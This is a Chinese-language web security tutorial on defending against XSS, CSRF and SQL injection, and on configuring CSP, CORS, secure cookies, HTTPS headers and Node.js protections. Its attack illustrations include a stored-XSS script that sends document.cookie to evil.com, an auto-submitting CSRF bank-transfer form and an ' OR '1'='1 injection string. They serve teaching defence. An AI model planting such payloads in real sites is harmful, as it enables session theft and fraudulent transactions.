Web 安全防护与 XSS/CSRF 防御实战 2026 | 前端安全完全指南

Web 安全是每个开发者必须重视的领域。本文将从 XSS、CSRF 两大经典攻击入手,系统讲解 CSP、CORS、Cookie 安全策略、HTTPS 配置及 Node.js 后端安全防护的完整方案。
一、XSS 跨站脚本攻击
1.1 XSS 类型
| 类型 | 说明 | 示例 |
|---|---|---|
| 反射型 | 恶意代码在 URL 中,服务端反射到页面 | ?q=<script>...</script> |
| 存储型 | 恶意代码存储在数据库,渲染时执行 | 评论框注入脚本 |
| DOM 型 | 纯前端 JS 操作 DOM 引入 | innerHTML = userInput |
1.2 攻击示例
<!-- 存储型 XSS:评论系统 -->
<!-- 攻击者在评论框输入: -->
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>
<!-- 其他用户查看评论时,脚本执行,Cookie 被窃取 -->
<!-- 反射型 XSS:搜索页面 -->
<!-- URL: https://example.com/search?q=<script>alert('XSS')</script> -->
<!-- 服务端直接输出搜索词到 HTML: -->
<div>搜索结果:<?php echo $_GET['q']; ?></div>
<!-- DOM 型 XSS:前端渲染 -->
<div id="output"></div>
<script>
const params = new URLSearchParams(location.search)
document.getElementById('output').innerHTML = params.get('name')
</script>1.3 XSS 防御方案
1. 输出编码(最重要)
// HTML 上下文编码
function escapeHtml(str: string): string {
const map: Record<string, string> = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
}
return str.replace(/[&<>"'/]/g, (char) => map[char])
}
// 在不同上下文中使用不同编码
// HTML 内容
element.textContent = userInput // 自动编码
// 属性值
element.setAttribute('data-value', userInput)
// URL 参数
const url = `https://example.com?name=${encodeURIComponent(userInput)}`2. 使用安全框架
// Vue 自动转义(默认安全)
// <template>{{ userInput }}</template> — 自动 HTML 编码
// React 自动转义(默认安全)
// <div>{userInput}</div> — 自动编码
// 避免使用 dangerouslySetInnerHTML / v-html
// React
const BadComponent = () => (
<div dangerouslySetInnerHTML={{ __html: userInput }} /> // ❌ 危险
)
// Vue
// <div v-html="userInput"></div> ❌ 危险
// 如果必须使用,先做净化
import DOMPurify from 'dompurify'
const SafeComponent = () => (
<div dangerouslySetInnerHTML={{
__html: DOMPurify.sanitize(userInput) // ✅ 净化后再渲染
}} />
)3. DOMPurify 净化 HTML
import DOMPurify from 'dompurify'
// 基础净化
const clean = DOMPurify.sanitize(dirtyHtml)
// 自定义配置
const clean = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'title', 'target', 'rel'],
ALLOW_DATA_ATTR: false,
FORBID_TAGS: ['script', 'style', 'iframe', 'object', 'embed'],
FORBID_ATTR: ['onerror', 'onload', 'onclick'],
})
// 强制链接安全
DOMPurify.addHook('afterSanitizeAttributes', (node) => {
if (node.tagName === 'A') {
node.setAttribute('rel', 'noopener noreferrer')
node.setAttribute('target', '_blank')
}
})4. HttpOnly Cookie
// 设置 Cookie 时添加 HttpOnly,JS 无法读取
res.cookie('session', token, {
httpOnly: true, // JS 无法通过 document.cookie 访问
secure: true, // 仅 HTTPS 传输
sameSite: 'strict', // 防止 CSRF
maxAge: 3600000 // 1 小时过期
})二、CSP 内容安全策略
2.1 CSP 配置
# Nginx 配置 CSP
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
img-src 'self' data: https: blob:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com wss://ws.example.com;
media-src 'self';
frame-src 'none';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
report-uri /api/csp-report;
" always;2.2 nonce 模式
// Express 中间件:为每个请求生成 nonce
import crypto from 'crypto'
app.use((req, res, next) => {
res.locals.nonce = crypto.randomBytes(16).toString('base64')
res.setHeader('Content-Security-Policy', `
default-src 'self';
script-src 'self' 'nonce-${res.locals.nonce}';
style-src 'self' 'nonce-${res.locals.nonce}';
`)
next()
})
// 在 HTML 中使用 nonce
app.get('/', (req, res) => {
res.send(`
<!DOCTYPE html>
<html>
<head>
<script nonce="${res.locals.nonce}">
console.log('This script is allowed by CSP')
</script>
</head>
<body>
<h1>Hello</h1>
</body>
</html>
`)
})2.3 CSP 报告收集
// 收集 CSP 违规报告
app.post('/api/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
const report = req.body['csp-report']
console.log('CSP Violation:', {
'document-uri': report['document-uri'],
'violated-directive': report['violated-directive'],
'blocked-uri': report['blocked-uri'],
'line-number': report['line-number'],
'source-file': report['source-file'],
})
// 可以存储到数据库或发送到监控系统
res.status(204).end()
})三、CSRF 跨站请求伪造
3.1 攻击原理
1. 用户登录 bank.com,浏览器保存 Session Cookie
2. 用户访问 evil.com,页面包含:
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>
3. 表单自动提交,浏览器自动携带 bank.com 的 Cookie
4. 银行服务器认为是用户本人操作,执行转账3.2 CSRF 防御方案
1. SameSite Cookie
// 最简单有效的防御方式
res.cookie('session', token, {
httpOnly: true,
secure: true,
sameSite: 'strict', // 或 'lax'
// strict: 完全不发送第三方 Cookie
// lax: 导航时发送 GET 请求的 Cookie(默认值)
})
// 现代浏览器默认 SameSite=Lax,已能防御大多数 CSRF2. CSRF Token
// Express + csurf 中间件
import csrf from 'csurf'
const csrfProtection = csrf({ cookie: true })
// 在表单页面注入 token
app.get('/transfer', csrfProtection, (req, res) => {
res.render('transfer', { csrfToken: req.csrfToken() })
})
// 表单中携带 token
// <form action="/transfer" method="POST">
// <input type="hidden" name="_csrf" value="{{csrfToken}}">
// ...
// </form>
// API 请求中携带 token(Header 方式)
// fetch('/transfer', {
// headers: { 'X-CSRF-Token': csrfToken },
// ...
// })// Vue 前端集成 CSRF Token
import axios from 'axios'
// 从 meta 标签获取 token
const csrfToken = document.querySelector('meta[name="csrf-token"]')?.getAttribute('content')
// 配置 axios
axios.defaults.headers.common['X-CSRF-Token'] = csrfToken
// 或拦截器自动注入
axios.interceptors.request.use((config) => {
const token = document.querySelector('meta[name="csrf-token"]')?.getAttribute('content')
if (token) {
config.headers['X-CSRF-Token'] = token
}
return config
})3. Double Submit Cookie
// 1. 服务端设置 CSRF Cookie(非 HttpOnly)
app.use((req, res, next) => {
const csrfToken = crypto.randomBytes(32).toString('hex')
res.cookie('csrf-token', csrfToken, {
httpOnly: false, // 前端需要读取
secure: true,
sameSite: 'strict',
})
res.locals.csrfToken = csrfToken
next()
})
// 2. 前端读取 Cookie 并放入请求头
async function apiRequest(url: string, options: RequestInit = {}) {
const csrfToken = getCookie('csrf-token') // 读取 Cookie
return fetch(url, {
...options,
headers: {
...options.headers,
'X-CSRF-Token': csrfToken, // 放入 Header
},
})
}
// 3. 服务端验证:Cookie 中的 token 与 Header 中的必须一致
app.use((req, res, next) => {
const cookieToken = req.cookies['csrf-token']
const headerToken = req.headers['x-csrf-token']
if (req.method !== 'GET' && cookieToken !== headerToken) {
return res.status(403).json({ error: 'CSRF token mismatch' })
}
next()
})四、CORS 跨域资源共享
4.1 CORS 配置
// Express CORS 配置
import cors from 'cors'
// 简单配置
app.use(cors({
origin: 'https://example.com', // 指定域名
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
credentials: true, // 允许携带 Cookie
maxAge: 86400, // 预检请求缓存 24 小时
}))
// 多域名配置
const allowedOrigins = [
'https://example.com',
'https://app.example.com',
'https://admin.example.com',
]
app.use(cors({
origin: (origin, callback) => {
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true)
} else {
callback(new Error('Not allowed by CORS'))
}
},
credentials: true,
}))4.2 预检请求
// 处理 OPTIONS 预检请求
app.options('/api/*', cors())
// 自定义预检响应
app.options('/api/special', (req, res) => {
res.set({
'Access-Control-Allow-Origin': 'https://example.com',
'Access-Control-Allow-Methods': 'GET, POST, PUT, DELETE',
'Access-Control-Allow-Headers': 'Content-Type, Authorization, X-Custom-Header',
'Access-Control-Max-Age': '86400',
'Access-Control-Allow-Credentials': 'true',
})
res.status(204).end()
})4.3 安全注意事项
// ❌ 危险:允许所有来源 + 携带凭证
app.use(cors({
origin: '*',
credentials: true, // 浏览器会拒绝这个组合
}))
// ❌ 危险:反射 Origin
app.use(cors({
origin: (origin, callback) => {
callback(null, origin) // 反射任何 Origin
},
credentials: true,
}))
// ✅ 安全:白名单模式
app.use(cors({
origin: (origin, callback) => {
const whitelist = ['https://example.com', 'https://app.example.com']
if (whitelist.includes(origin)) {
callback(null, true)
} else {
callback(new Error('CORS not allowed'))
}
},
credentials: true,
}))五、Cookie 安全
5.1 安全 Cookie 配置
// 完整的安全 Cookie 设置
res.cookie('session', token, {
httpOnly: true, // JS 不可读(防 XSS 窃取)
secure: true, // 仅 HTTPS 传输
sameSite: 'strict', // 防 CSRF
path: '/',
domain: '.example.com',
maxAge: 3600000, // 1 小时
// signed: true, // 签名 Cookie(Express)
})
// Cookie 前缀
// __Host- 前缀:必须 Secure、Path=/、无 Domain
res.cookie('__Host-session', token, {
httpOnly: true,
secure: true,
path: '/',
sameSite: 'strict',
})
// __Secure- 前缀:必须 Secure
res.cookie('__Secure-token', token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
})5.2 JWT 安全存储
// ❌ 不推荐:localStorage(XSS 可读取)
localStorage.setItem('token', jwtToken)
// ✅ 推荐:HttpOnly Cookie
res.cookie('token', jwtToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
})
// ✅ 如果用 Authorization Header(SPA)
// 需要配合严格的 CSP 策略
const token = sessionStorage.getItem('token') // 比 localStorage 更短命
axios.defaults.headers.common['Authorization'] = `Bearer ${token}`六、HTTPS 与安全头
6.1 HTTPS 配置
# Nginx HTTPS 配置
server {
listen 443 ssl http2;
server_name example.com;
ssl_certificate /etc/ssl/certs/example.com.pem;
ssl_certificate_key /etc/ssl/private/example.com.key;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
ssl_prefer_server_ciphers off;
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 1d;
ssl_session_tickets off;
# HSTS:强制浏览器使用 HTTPS
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
}
# HTTP 跳转 HTTPS
server {
listen 80;
server_name example.com;
return 301 https://$server_name$request_uri;
}6.2 安全响应头
// Express 使用 helmet 中间件
import helmet from 'helmet'
app.use(helmet())
// 自定义配置
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'unsafe-inline'"],
styleSrc: ["'self'", "'unsafe-inline'"],
},
},
crossOriginEmbedderPolicy: false,
hsts: {
maxAge: 63072000,
includeSubDomains: true,
preload: true,
},
}))
// 手动设置安全头
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff')
res.setHeader('X-Frame-Options', 'DENY')
res.setHeader('X-XSS-Protection', '0') // 现代浏览器已废弃,设 0
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin')
res.setHeader('Permissions-Policy', 'geolocation=(), microphone=(), camera=()')
res.setHeader('Cross-Origin-Opener-Policy', 'same-origin')
res.setHeader('Cross-Origin-Resource-Policy', 'same-origin')
next()
})6.3 SRI 子资源完整性
<!-- 为外部脚本/样式添加完整性校验 -->
<script
src="https://cdn.jsdelivr.net/npm/vue@3.4.0/dist/vue.global.prod.js"
integrity="sha384-abc123..."
crossorigin="anonymous">
</script>
<link
rel="stylesheet"
href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css"
integrity="sha384-xyz789..."
crossorigin="anonymous">七、SQL 注入防御
// ❌ 危险:拼接 SQL
app.get('/users', (req, res) => {
const name = req.query.name
db.query(`SELECT * FROM users WHERE name = '${name}'`)
// 攻击:?name=' OR '1'='1
// 结果:SELECT * FROM users WHERE name = '' OR '1'='1
})
// ✅ 安全:参数化查询
app.get('/users', (req, res) => {
const name = req.query.name
db.query('SELECT * FROM users WHERE name = $1', [name]) // PostgreSQL
// 或
db.query('SELECT * FROM users WHERE name = ?', [name]) // MySQL
})
// ✅ 安全:使用 ORM/查询构建器
import { knex } from 'knex'
const users = await knex('users')
.where('name', name)
.select('*')
// ✅ 安全:Prisma ORM
const users = await prisma.user.findMany({
where: { name: name }
})八、Node.js 后端安全
8.1 输入验证
import { z } from 'zod'
// 使用 Zod 进行严格的输入验证
const userSchema = z.object({
name: z.string().min(2).max(50),
email: z.string().email(),
age: z.number().int().min(18).max(120),
role: z.enum(['user', 'admin']).default('user'),
})
app.post('/users', (req, res) => {
const result = userSchema.safeParse(req.body)
if (!result.success) {
return res.status(400).json({
error: 'Validation failed',
details: result.error.flatten(),
})
}
const { name, email, age, role } = result.data
// 安全使用验证后的数据
})
// 文件上传验证
const upload = multer({
limits: { fileSize: 5 * 1024 * 1024 }, // 5MB 限制
fileFilter: (req, file, cb) => {
const allowedTypes = ['image/jpeg', 'image/png', 'image/webp']
if (allowedTypes.includes(file.mimetype)) {
cb(null, true)
} else {
cb(new Error('Invalid file type'))
}
},
})8.2 速率限制
import rateLimit from 'express-rate-limit'
// 全局速率限制
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 分钟
max: 100, // 每个 IP 最多 100 次请求
standardHeaders: true,
legacyHeaders: false,
message: { error: 'Too many requests' },
})
app.use('/api/', limiter)
// 登录接口更严格限制
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 5, // 15 分钟内最多 5 次尝试
message: { error: 'Too many login attempts' },
})
app.post('/api/login', loginLimiter, loginHandler)8.3 安全头与Helmet
import helmet from 'helmet'
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", 'data:', 'https:'],
connectSrc: ["'self'", 'https://api.example.com'],
},
},
crossOriginEmbedderPolicy: true,
crossOriginOpenerPolicy: { policy: 'same-origin' },
crossOriginResourcePolicy: { policy: 'same-origin' },
hsts: { maxAge: 63072000, includeSubDomains: true, preload: true },
frameguard: { action: 'deny' },
noSniff: true,
referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
}))九、依赖安全
9.1 依赖审计
# npm audit
npm audit
npm audit fix
npm audit fix --force
# pnpm audit
pnpm audit
# 使用 Snyk
npx snyk test
npx snyk monitor9.2 自动化安全检查
# .github/workflows/security.yml
name: Security Audit
on: [push, pull_request, schedule]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: pnpm/action-setup@v3
with: { version: 9 }
- uses: actions/setup-node@v4
with: { node-version: 20, cache: 'pnpm' }
- run: pnpm install --frozen-lockfile
- run: pnpm audit --audit-level=moderate
- name: Run Snyk
uses: snyk/actions/node@master
with:
command: test
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}十、安全检查清单
10.1 前端安全清单
10.2 后端安全清单
十一、总结
- ✅ XSS 攻击原理与防御(输出编码、DOMPurify、HttpOnly Cookie)
- ✅ CSP 内容安全策略(指令配置、nonce 模式、报告收集)
- ✅ CSRF 攻击原理与防御(SameSite Cookie、CSRF Token、Double Submit)
- ✅ CORS 跨域配置(白名单模式、预检请求、安全注意事项)
- ✅ Cookie 安全(安全属性、Cookie 前缀、JWT 存储)
- ✅ HTTPS 与安全头(HSTS、helmet、SRI)
- ✅ SQL 注入防御(参数化查询、ORM)
- ✅ Node.js 后端安全(输入验证、速率限制、依赖审计)
- ✅ 安全检查清单(前端 + 后端)
Web 安全是全栈工程师的核心能力,安全防护应该是系统设计的一部分,而非事后补充。
相关阅读: